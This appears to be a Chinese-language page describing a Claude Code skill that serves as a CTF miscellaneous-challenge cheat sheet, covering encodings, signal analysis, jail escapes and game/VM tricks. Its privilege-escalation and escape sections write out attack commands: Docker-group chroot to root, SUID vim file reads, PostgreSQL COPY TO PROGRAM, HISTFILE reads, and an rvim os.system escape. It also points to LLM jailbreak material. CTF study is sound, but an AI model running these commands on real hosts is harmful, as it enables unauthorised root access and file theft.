关于 ctf-misc
ctf-misc 是面向 CTF 解题者的杂项题参考技能,涵盖 jail、编码、信号分析以及特殊虚拟机和游戏。它将快速技巧与详细指南及所需工具清单结合整理。
主要功能
- 01Python 与 Bash jail 逃逸参考
- 02编码与二维码处理技巧
- 03音频和 RF/SDR 信号分析
- 04游戏、虚拟机与沙箱方法
- 05Z3 约束求解示例
- 06CTFd API 导航参考
适用场景
- 01分析受限的 Python 或 Bash 环境
- 02解码音频、信号或二维码中的隐藏数据
- 03用约束或游戏状态分析解决谜题
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ ljagiello/ ctf-skills --skill ctf-misc安装后在 Claude Code 中输入/ctf-misc确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
audio.mdbashjails.mdctfd-navigation.mddns.mdencodings-advanced.mdencodings.mdgames-and-vms-2.mdgames-and-vms-3.mdgames-and-vms-4.mdgames-and-vms.mdlinux-privesc.mdpyjails.mdrf-sdr.md详细介绍
CTF 杂项
CTF 杂项挑战速查。每种技巧都在这里用一句话介绍;详细信息请参阅相关文件。
前置条件
Python 软件包(所有平台):
pip install "pwntools==4.15.0" "segno==1.6.6" z3-solver Pillow numpy requests dnslib
Linux(apt):
apt install libzbar0 qrencode ffmpeg
macOS(Homebrew):
brew install ffmpeg qrencode
手动安装:
- SageMath — Linux:
apt install sagemath,macOS:brew install --cask sage
其他资源
- pyjails.md - Python jail/沙箱逃逸技巧、quine 上下文检测、受限字符 repunit 分解、func_globals 模块链遍历、受限字符集数字生成、类属性持久化、通过存储的 eval 注入 f-string 配置
- bashjails.md - Bash jail/受限 shell 逃逸技巧、HISTFILE 文件读取技巧、bash -v 详细模式、ctypes.sh 直接调用 C 库
- encodings.md - 编码、QR 码、esolang、UTF-16 技巧、BCD 编码、多层自动解码、索引目录 QR 重组、多阶段 URL 编码链
- encodings-advanced.md - Verilog/HDL、格雷码循环编码、RTF 自定义标签提取、SMS PDU 解码、多编码顺序求解器、UTF-9、像素二进制编码、十六进制数独 + QR 码拼装、TOPKEK、MaxiCode
- audio.md - 音频隐写与信号分析:自动检测音频声道中的摩斯电码、频谱图分析、SSTV 解码、振幅包络时序分类
- rf-sdr.md - RF/SDR/IQ 信号处理(QAM-16、载波恢复、定时同步)
- dns.md - DNS 利用(ECS 欺骗、NSEC 遍历、IXFR、重绑定、隧道)
- games-and-vms.md - WASM 修补、Roblox place 文件逆向、PyInstaller、marshal 分析、Python 环境 RCE、Z3(包括布尔逻辑门网络 SAT 求解)、K8s RBAC、浮点精度利用、通过 Python MRO 链逃逸自定义汇编语言沙箱
- games-and-vms-2.md - Cookie 检查点游戏暴力破解、Flask Cookie 游戏状态泄露、WebSocket 游戏操纵、仅基于服务器时间的验证绕过、De Bruijn 序列、Brainfuck 插桩、WASM 线性内存操纵
- games-and-vms-3.md - memfd_create 打包二进制文件、带 HMAC 承诺-揭示和 GF(256) Nim 的多阶段加密游戏、模拟器 ROM 切换状态保持、Python marshal 代码注入、本福特定律绕过、并行连接预言机中继、数织求解器流水线、100 囚犯问题、通过 emoji 标识符逃逸 C 代码 jail、BuildKit 守护进程构建密钥利用、Docker 容器逃逸、Levenshtein 距离预言机攻击、通过类型强制转换绕过污点分析、碎纸文档像素边缘重组
- games-and-vms-4.md - 第 4 部分(2018 年左右):作为图灵完备 VM 的 XSLT、JavaScript MAX_SAFE_INTEGER 后继值相等性、仅比较 DSL 中的二分搜索预言机、通过脚本引擎超时错误实现盲 SQLi、OEIS 数列查询自动化、根据格式字符串约束重组 QR 码、斐波那契递推的矩阵幂运算、用于青蛙跳跃计数的 Tribonacci、Selenium + Tesseract 动态 CAPTCHA、Brainfuck→Piet 多层 polyglot、bytebeat 合成器代码识别
- linux-privesc.md - Sudo 通配符参数注入(fnmatch)、构造 pcap 以利用 sudoers.d、monit confcheck 进程注入、Apache -d 覆盖、备份 cronjob SUID、PostgreSQL COPY TO PROGRAM RCE、PostgreSQL 备份凭据提取、NFS 共享利用、SSH Unix 套接字隧道、PaperCut Print Deploy 提权、Squid 代理跳板、通过 MySQL 重置 Zabbix 管理员密码、WinSSHTerm 凭据解密
- ctfd-navigation.md - 无需浏览器即可通过 CTFd 平台 API 导航:检测、令牌身份验证、挑战列表、文件下载、提交 flag、记分板、提示、通知、Python 客户端类
何时应转向其他方向
- 如果谜题实际上以密码学或数论为核心,请切换到
/ctf-crypto。 - 如果挑战涉及真正的二进制漏洞利用,而非沙箱、玩具虚拟机或编码问题,请切换到
/ctf-pwn或/ctf-reverse。 - 如果输入主要是需要先进行恢复处理的文件、图像、音频或数据包捕获,请切换到
/ctf-forensics。 - 对于 ML/AI 技术(模型攻击、对抗样本、LLM 越狱),请参阅
/ctf-ai-ml。 - 如果 NodeJS 沙箱使用 vm2(
npm ls vm2),请通过Promise[@@species]和nesting:true检查 CVE-2023-37466——异常处理程序会逃逸出上下文;完整的利用链请参阅ctf-web/js-sandbox。在包含打包 JS 的 misc 挑战中,请始终运行npm ls vm2,先检测是否存在易受攻击的 vm2,再尝试其他逃逸方式。
快速入门命令
# File identification
file mystery_file
xxd mystery_file | head -5
python3 -c "import magic; print(magic.from_file('mystery_file'))"
# Encoding detection
python3 -c "import base64; print(base64.b64decode('<data>'))"
echo '<data>' | base64 -d
echo '<hex>' | xxd -r -p
# QR code
zbarimg qr.png
python3 -c "from pyzbar.pyzbar import decode; from PIL import Image; print(decode(Image.open('qr.png')))"
# Z3 constraint solving
python3 -c "from z3 import *; x=BitVec('x',32); s=Solver(); s.add(x^0xdead==0xbeef); s.check(); print(s.model())"
# Python jail test
python3 -c "__import__('os').system('id')"
通用技巧
- 仔细阅读所有提供的文件
- 检查文件元数据、隐藏内容和编码
- Power Automate 脚本可能隐藏 API 调用
- 猜测多个答案时使用二分查找
常见编码
# Base64
echo "encoded" | base64 -d
# Base32 (A-Z2-7=)
echo "OBUWG32D..." | base32 -d
# Hex
echo "68656c6c6f" | xxd -r -p
# ROT13
echo "uryyb" | tr 'a-zA-Z' 'n-za-mN-ZA-M'
根据字符集识别:
- Base64:
A-Za-z0-9+/= - Base32:
A-Z2-7=(不含小写字母) - Hex:
0-9a-fA-F
有关 Caesar 暴力破解、URL 编码和完整详情,请参阅 encodings.md。
IEEE-754 浮点数编码(数据隐藏)
模式(浮点数): 数字是隐藏原始字节的 float32 值。
关键要点: 32 位浮点数就是将 4 个字节解释为数字。重新解释为原始字节 -> ASCII。
import struct
floats = [1.234e5, -3.456e-7, ...] # Whatever the challenge gives
flag = b''
for f in floats:
flag += struct.pack('>f', f)
print(flag.decode())
变体: Double '>d'、小端序 '<f'、混合格式。CyberChef 配方请参阅 encodings.md。
USB 鼠标 PCAP 重建
模式(试探): USB HID 鼠标流量记录了屏幕键盘输入。使用 USB-Mouse-Pcap-Visualizer 提取点击坐标(下降沿),对相对增量进行累积求和以获取绝对位置,并叠加到 OSK 图像上。
文件类型检测
file unknown_file
xxd unknown_file | head
binwalk unknown_file
压缩包提取
7z x archive.7z # Universal
tar -xzf archive.tar.gz # Gzip
tar -xjf archive.tar.bz2 # Bzip2
tar -xJf archive.tar.xz # XZ
嵌套压缩包脚本
while f=$(ls *.tar* *.gz *.bz2 *.xz *.zip *.7z 2>/dev/null|head -1) && [ -n "$f" ]; do
7z x -y "$f" && rm "$f"
done
QR 码
zbarimg qrcode.png # Decode
qrencode -o out.png "data"
MaxiCode 条码: 中心带有靶心的六边形 2D 条码;使用 zxing(Java)解码,因为标准 QR 解码器无法处理。请参阅 encodings-advanced.md。
TOPKEK 编码: CTF 专用二进制编码,其中 KEK=0、TOP=1,! 后缀表示重复次数。请参阅 encodings-advanced.md。
有关 QR 结构、修复技巧、分块重组(结构式和索引目录式变体)以及多阶段 URL 编码链,请参阅 encodings.md。
音频挑战
# Spectrogram (hidden text/images in frequency domain)
sox audio.wav -n spectrogram -o spec.png
sox audio.wav -n spectrogram -o spec.png -x 2048 -y 1025 # higher resolution
# Channel inspection (identify stereo vs mono, sample rate, bit depth)
python3 -c "import wave; w=wave.open('audio.wav'); print(f'channels={w.getnchannels()}, rate={w.getframerate()}, width={w.getsampwidth()}')"
# SSTV (Slow Scan TV decoder)
qsstv # GUI - play audio + use pulseaudio loopback
摩斯电码提取: WAV 文件的一个音频声道中隐藏着摩斯电码蜂鸣声。分离交错的立体声声道(L=偶数索引,R=奇数索引),根据峰值与均值包络比自动检测摩斯电码所在声道(蜂鸣声所在声道因响亮/静音交替而具有较高比值),计算 RMS 包络(50ms 窗口),通过阈值分割蜂鸣声,并根据持续时间分类:点(约 100–150ms)与划(约 250–350ms),然后利用间隔时长(短间隔 = 字符内间隔,长间隔 = 字符间间隔)将蜂鸣声分组成摩斯字符。完整的自动检测提取脚本请参阅 audio.md。
DTMF(电话按键音): 双音多频信令可解码为数字,再通过多按键输入法映射为字母。请参阅 encodings-advanced.md。
音乐音符隐写: 音符对通过音阶级数映射编码半字节。请参阅 encodings-advanced.md。
完整的音频分析技巧请参阅 audio.md。
RF / SDR / IQ 信号处理
完整详情(IQ 格式、QAM-16 解调、载波/定时恢复)请参阅 rf-sdr.md。
快速参考:
- cf32:
np.fromfile(path, dtype=np.complex64)| cs16:int16 reshape(-1,2) | cu8:RTL-SDR 原始数据 - 星座图中的圆形表示频率偏移恒定;螺旋表示频率漂移及增益不稳定
- DD 载波恢复存在 4 重歧义——尝试旋转 0/90/180/270 度
pwntools 交互
from pwn import *
r = remote('host', port)
r.recvuntil(b'prompt: ')
r.sendline(b'answer')
r.interactive()
Python Jail 快速参考
- 预言机模式:
L()= 长度,Q(i,x)= 比较,S(guess)= 提交。使用线性或二分搜索。 - Walrus 绕过:
(abcdef := "new_chars")可重新赋值约束变量 - 装饰器绕过:
@__import__+@func.__class__.__dict__[__name__.__name__].__get__,无需调用、无需引号即可逃逸 - 字符串拼接:
open(''.join(['fl','ag.txt'])).read(),适用于+被禁用的情况
完整技巧请参阅 pyjails.md。
Z3 / 约束求解
from z3 import *
flag = [BitVec(f'f{i}', 8) for i in range(FLAG_LEN)]
s = Solver()
# Add constraints, check sat, extract model
YARA 规则、作为约束的类型系统,以及布尔逻辑门网络 SAT 求解,请参阅 games-and-vms.md。
哈希识别
MD5:0x67452301 | SHA-256:0x6a09e667 | MurmurHash64A:0xC6A4A7935BD1E995
SHA-256 长度扩展攻击
已知 MAC = SHA-256(SECRET || msg) 中的 msg/hash 时,可通过 hlextend 伪造有效 MAC。存在漏洞的算法:SHA-256、MD5、SHA-1。不受影响:HMAC、SHA-3。
import hlextend
sha = hlextend.new('sha256')
new_data = sha.extend(b'extension', b'original_message', len_secret, known_hash_hex)
技巧速查
- PyInstaller:
pyinstxtractor.py packed.exe。操作码重映射请参阅 games-and-vms.md。 - Marshal:
marshal.load(f),然后运行dis.dis(code)。请参阅 games-and-vms.md。 - Python 环境 RCE:
PYTHONWARNINGS=ignore::antigravity.Foo::0+BROWSER="cmd"。请参阅 games-and-vms.md。 - WASM 补丁:
wasm2wat-> 翻转 minimax ->wat2wasm。请参阅 games-and-vms.md。 - 浮点精度: 大乘数会放大 FP 误差,使其成为可利用的小数。请参阅 games-and-vms.md。
- K8s RBAC 绕过: SA token -> 冒充身份 -> 挂载 hostPath -> 读取密钥。请参阅 games-and-vms.md。
- Cookie 检查点: 猜测前保存会话 Cookie,失败时恢复,以便无需重置即可进行暴力破解。请参阅 games-and-vms-2.md。
- Flask Cookie 游戏状态:
flask-unsign -d -c '<cookie>'可解码未签名的 Flask 会话,从而泄露游戏答案。请参阅 games-and-vms-2.md。 - WebSocket 瞬移: 在控制台中修改
player.x/player.y,然后调用验证函数。请参阅 games-and-vms-2.md。 - 仅按时间验证: 启动会话,执行
time.sleep(required_seconds),然后提交胜利结果。请参阅 games-and-vms-2.md。 - Quine 上下文检测: 双用途 quine 会打印自身(通过验证),并仅在服务端进程中通过 globals 门控运行载荷。请参阅 pyjails.md。
- Repunit 分解: 将目标整数分解为多个 repunit(1、11、111……)之和,在受限 eval 中仅使用 2 个字符(
1和+)。请参阅 pyjails.md。 - De Bruijn 序列: B(k, n) 包含所有可能的 k^n 个长度为 n 的字符串作为子串;追加前 n-1 个字符即可将其线性化。请参阅 games-and-vms-2.md。
- Brainfuck 插桩: 对 BF 解释器进行插桩以跟踪纸带单元,通过验证单元逐个暴力破解 flag 字符。请参阅 games-and-vms-2.md。
- WASM 内存操作: 在运行时修改 WASM 线性内存,直接设置游戏状态变量,绕过游戏逻辑。请参阅 games-and-vms-2.md。
- Lua 沙箱逃逸: 通过
os["execute"]表索引或loadstring别名绕过load()/os.execute()过滤。请参阅 games-and-vms.md。 - 通过表情符号和 gadget 嵌入逃逸 C 代码牢笼: 当 C 中只允许使用表情符号和标点符号时,使用
(😃==😃)表示常量 1,构造整数,将 gadget 嵌入add eax, imm32常量,并跳转到 offset+1 以实现 shellcode 原语。请参阅 games-and-vms-3.md。 - 模拟器 ROM 切换:
/load会替换 ROM,但保留 CPU 状态(寄存器、RAM、PC)。在特定 PC 处切换 ROM,将一个 ROM 的 INIT 与另一个 ROM 的显示指令组合 → 读取受保护的内存。请参阅 games-and-vms-3.md。 - 利用 BuildKit 守护进程: 暴露的 BuildKit gRPC 允许嵌套运行
buildctl build,并使用--mount=type=secret读取构建密钥。两阶段 Dockerfile:安装 buildctl → 提交一个挂载 flag 密钥的嵌套构建。请参阅 games-and-vms-3.md。 - Docker 容器逃逸: 可通过挂载主机设备进行特权逃逸、利用 docker.sock 套接字逃逸、借助 CAP_SYS_ADMIN cgroup release_agent 逃逸,以及通过 /proc 和 overlayfs 泄露容器信息。请参阅 games-and-vms-3.md。
- 通过类型强制转换绕过污点分析: 在具有机密性/污点系统的类 ML 自定义语言中,if 表达式的机密性取决于返回类型,而非条件——将有副作用的函数强制转换为私有类型,即可通过公共可变引用泄露私有数据。请参阅 games-and-vms-3.md。
- 通过像素边缘重组碎纸文档: 将每条纸带的左/右边缘编码为二进制位掩码(暗色=1),使用 XOR 和 popcount 汉明距离,按最小边缘距离贪心摆放纸带,可在不到一秒内完成重组。请参阅 games-and-vms-3.md。
- 通过已存储的 eval 注入 f-string 配置: 将载荷存为配置值,创建一个名为
eval(stored_key)的键——渲染 f-string 时会计算键名表达式,从而触发 RCE。请参阅 pyjails.md。 - 十六进制数独 + QR 码拼接: 4 个 QR 码编码了 4 个 16x16 十六进制数独象限;解出数独后,将对角线读取为十六进制字节对 → ASCII flag。请参阅 encodings-advanced.md。
- Z3 布尔门网络 SAT 求解: 产品密钥验证由 250 个布尔门(AND/OR/XOR/NOT)组成,处理 125 个输入位。将每个门建模为 Z3 约束,要求所有输出均为 True,可在毫秒内求解。请参阅 games-and-vms.md。
3D 打印机视频喷头追踪(LACTF 2026)
模式(flag-irl): 3D 打印机制作铭牌的视频。旗帜是打印出的文字。
技术: 从视频帧中追踪喷头的 X/Y 位置,筛选打印移动(仅顶层/文字层),绘制二维直方图以显示字母形状:
# 1. Identify text layer frames (e.g., frames 26100-28350)
# 2. Track print head X position (physical X-axis)
# 3. Track bed X position (physical Y-axis from camera angle)
# 4. Filter for moves with extrusion (head moving while printing)
# 5. Plot as 2D scatter/histogram -> letters appear
Discord API 枚举(0xFun 2026)
旗帜隐藏在 Discord 元数据中(角色、动态表情符号、嵌入内容)。调用 /ctf-osint 获取 Discord API 枚举技术和代码(参见 ctf-osint 中的 social-media.md)。
SUID 二进制文件利用(0xFun 2026)
# Find SUID binaries
find / -perm -4000 2>/dev/null
# Cross-reference with GTFObins
# xxd with SUID: xxd flag.txt | xxd -r
# vim with SUID: vim -c ':!cat /flag.txt'
参考: https://gtfobins.github.io/
Linux 权限提升快速检查
# GECOS field passwords
cat /etc/passwd # Check 5th colon-separated field
# ACL permissions
getfacl /path/to/restricted/file
# Sudo permissions
sudo -l
# Docker group membership (instant root)
id | grep -q docker && docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
Docker 组权限提升(H7CTF 2025)
属于 docker 组的用户可以将主机文件系统挂载到容器中,并通过 chroot 获取 root 权限。
# Check group membership
id # Look for "docker" in groups
# Mount host root filesystem and chroot
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
# Now running as root on the host filesystem
cat /root/flag.txt
关键见解: 属于 Docker 组相当于拥有 root 访问权限。docker CLI 套接字(/var/run/docker.sock)允许创建特权容器并挂载整个主机文件系统。
参考: https://gtfobins.github.io/gtfobins/docker/
Sudo 通配符参数注入(Dump HTB)
Sudo 的 fnmatch() 会在参数边界之间匹配 *。向受限命令注入额外标志(-Z root、-r、第二个 -w)。制作嵌入有效 sudoers 条目的 pcap——与 cron 的严格解析器不同,sudo 的解析器能从二进制杂项中恢复。参见 linux-privesc.md。
Monit 进程命令行注入(Zero HTB)
root monit 脚本使用 pgrep -lfa 提取进程命令行,然后执行修改后的版本。通过 perl -e '$0 = "..."' 创建带有注入标志的伪造进程。Apache 的 -d 以后出现的值为准,可覆盖 ServerRoot;-E 会捕获错误输出。Include /root/flag 会导致解析错误,从而泄露文件内容。参见 linux-privesc.md。
PostgreSQL RCE 和文件读取(Slonik HTB)
COPY (SELECT '') TO PROGRAM 'cmd' 会以 postgres 身份执行 OS 命令。pg_read_file('/path') 可读取文件。从 pg_basebackup 归档中提取凭据(global/1260 = pg_authid)。通过 SSH 隧道连接 Unix 套接字:ssh -fNL 25432:/var/run/postgresql/.s.PGSQL.5432。参见 linux-privesc.md。
备份定时任务 SUID 滥用(Slonik HTB)
root 定时任务复制目录时会保留 SUID 位,但将所有者更改为 root。在源目录中放置 SUID bash → 备份会将其复制为 root 所有且带有 SUID 位的文件。使用 bash -p 执行。参见 linux-privesc.md。
PaperCut Print Deploy 权限提升(Bamboo HTB)
root 进程会运行用户所有目录中的脚本。修改 server-command,通过 Mobility Print API 刷新触发。参见 linux-privesc.md。
CTFd 平台导航(无需浏览器)
检测 CTFd(curl -s "$CTF_URL/api/v1/" | head -5),并通过 API 进行交互。向用户索取其 API 令牌(CTFd 设置 > 访问令牌)——默认不会提供。然后在所有请求中使用 Authorization: Token $CTF_TOKEN 标头。
export CTF_URL="https://ctf.example.com" CTF_TOKEN="ctfd_your_token_here"
curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges" | jq -r '.data[] | "\(.id)\t\(.value)pts\t\(.category)\t\(.name)"'
curl -s -X POST -H "Authorization: Token $CTF_TOKEN" -H "Content-Type: application/json" "$CTF_URL/api/v1/challenges/attempt" -d "{\"challenge_id\": $CID, \"submission\": \"flag{...}\"}"
完整工作流、Python 客户端类、会话登录、提示、通知、文件下载和故障排除,请参见 ctfd-navigation.md。
实用单行命令
grep -rn "flag{" .
strings file | grep -i flag
python3 -c "print(int('deadbeef', 16))"
键盘移位密码
模式(Frenzy): 字符根据 QWERTY 键盘布局向左或向右偏移。
识别: dCode 密码识别器建议使用“键盘移位密码”
解码: 使用 dCode 键盘移位密码,并选择自动模式。
猪圈密码 / 共济会密码
模式(为花生而工作): 根据网格位置表示字母的几何符号。
识别: 棱角分明的几何符号;题目提到《Peanuts》漫画(Charlie Brown)或“看起来很老旧的密码学”。
解码: 将符号映射到猪圈密码网格的位置,或使用在线解码器。
数字数据列中的 ASCII
模式(账目造假): CSV/电子表格中的数值(48-126)是 ASCII 字符编码。
import csv
with open('data.csv') as f:
reader = csv.DictReader(f)
flag = ''.join(chr(int(row['Times Borrowed'])) for row in reader)
print(flag)
CyberChef: 使用带换行符分隔符的 “From Decimal” 配方。
源代码中的后门检测
模式(后门): 隐藏的命令前缀会触发 system() 调用。
常见模式:
strncmp(input, "exec:", 5)-> 运行system(input + 5)- 十六进制编码的比较字符串:
\x65\x78\x65\x63\x3a= "exec:" - 维护/管理员函数中的隐藏条件
DNS 利用技术
完整详情见 dns.md(ECS 欺骗、NSEC 遍历、IXFR、重绑定、隧道)。
快速参考:
- ECS 欺骗:
dig @server flag.example.com TXT +subnet=10.13.37.1/24- 尝试使用谐音数字的 IP(1337) - NSEC 遍历:沿着 NSEC 链枚举 DNSSEC 区域
- IXFR:AXFR 被阻止时使用
dig @server domain IXFR=0 - DNS 重绑定:通过低 TTL 的交替解析绕过同源限制
- DNS 隧道:通过子域名查询或 TXT 响应外传数据
Unicode 隐写术
变体选择符补充区(U+E0100-U+E01EF)
模式(Seen & emoji、Nullcon 2026): 不可见的变体选择符补充区字符通过码点偏移编码 ASCII。
# Extract hidden data from variation selectors after visible character
data = open('README.md', 'r').read().strip()
hidden = data[1:] # Skip visible emoji character
flag = ''.join(chr((ord(c) - 0xE0100) + 16) for c in hidden)
检测: 这些字符不可见,但长度非零。使用 [hex(ord(c)) for c in text] 检查——查找位于 0xE0100-0xE01EF 或 0xFE00-0xFE0F 范围内的码点。
Unicode 标签区块(U+E0000-U+E007F)(UTCTF 2026)
模式(隐藏在显眼处): 不可见的 Unicode 标签字符嵌入在 URL、文件名或文本中。每个标签码点减去 0xE0000 后,直接对应一个 ASCII 字符。URL 编码后为 4 字节 UTF-8 序列(%F3%A0%81%...)。
import urllib.parse
url = "https://example.com/page#Title%20%F3%A0%81%B5%F3%A0%81%B4...Visible%20Text"
decoded = urllib.parse.unquote(urllib.parse.urlparse(url).fragment)
flag = ''.join(
chr(ord(ch) - 0xE0000)
for ch in decoded
if 0xE0000 <= ord(ch) <= 0xE007F
)
print(flag)
关键见解: Unicode 标签(U+E0001-U+E007F)与 ASCII 一一对应——减去 0xE0000 即可还原原始字符。它们在大多数字体中显示为零宽度的不可见字形。与变体选择符(U+E0100+)不同,这些字符的偏移计算更简单,且可能出现在 URL 片段、题目标题或文件名中;文本看起来正常,但字节长度异常地长。
检测: 文本或 URL 的字节长度超出预期。百分号编码序列以 %F3%A0%80 或 %F3%A0%81 开头。Python:any(0xE0000 <= ord(c) <= 0xE007F for c in text)。
UTF-16 字节序反转
模式(endians): 文本“变成了日语”——由 UTF-16 字节序不匹配造成的乱码。
# If encoded as UTF-16-LE but decoded as UTF-16-BE:
fixed = mojibake.encode('utf-16-be').decode('utf-16-le')
识别: CJK 字符;题目提到“翻译”或“字节序”。详情见 encodings.md。
密码识别工作流
- ROT13 - 题目提到“ROT”,文本看起来像乱码英文
- Base64 -
A-Za-z0-9+/=,标题暗示“64” - Base32 - 仅包含大写字母
A-Z2-7= - Atbash - 标题有所暗示(Abash/Atbash),保留空格,逐字替换
- 猪圈密码 - 网格上的几何符号
- 键盘位移 - 文本看起来像是按下了相邻按键
- 替换密码 - 可使用频率分析
自动识别: dCode Cipher Identifier
受限 Shell 中通过 HISTFILE 读取文件的技巧(BCTF 2016)
无需使用 cat/less/head 即可读取文件:HISTFILE=/flag /bin/bash && history,或使用 bash -v flag.txt(详细模式会打印行内容),或使用 ctypes.sh dlcall 直接调用 C 库函数。见 bashjails.md。
Levenshtein 距离 Oracle 攻击(SunshineCTF 2016)
Oracle 返回猜测值与秘密值之间的编辑距离。通过空字符串确定长度,通过重复单个字符找出存在的字符,再对位置进行二分搜索。需要 O(n log n) 次查询。参见 games-and-vms-3.md。
SECCOMP 文件描述符高位绕过(33C3 CTF 2016)
close(0x8000000000000002) 通过 64 位 SECCOMP 检查(≠ 2),但内核会将其截断为 32 位(== 2),从而关闭 fd 2。接下来的 open() 会为任意文件返回 fd 2。这是 BPF 过滤器与内核之间的类型宽度不匹配。参见 games-and-vms-3.md。
通过 Python3 逃逸 rvim 牢笼(BKP 2017)
rvim 会阻止 :!,但 :python3 import os; os.system("cmd") 可以执行任意命令。通过 :version 检查是否支持 +python3/+lua/+ruby。参见 games-and-vms-3.md。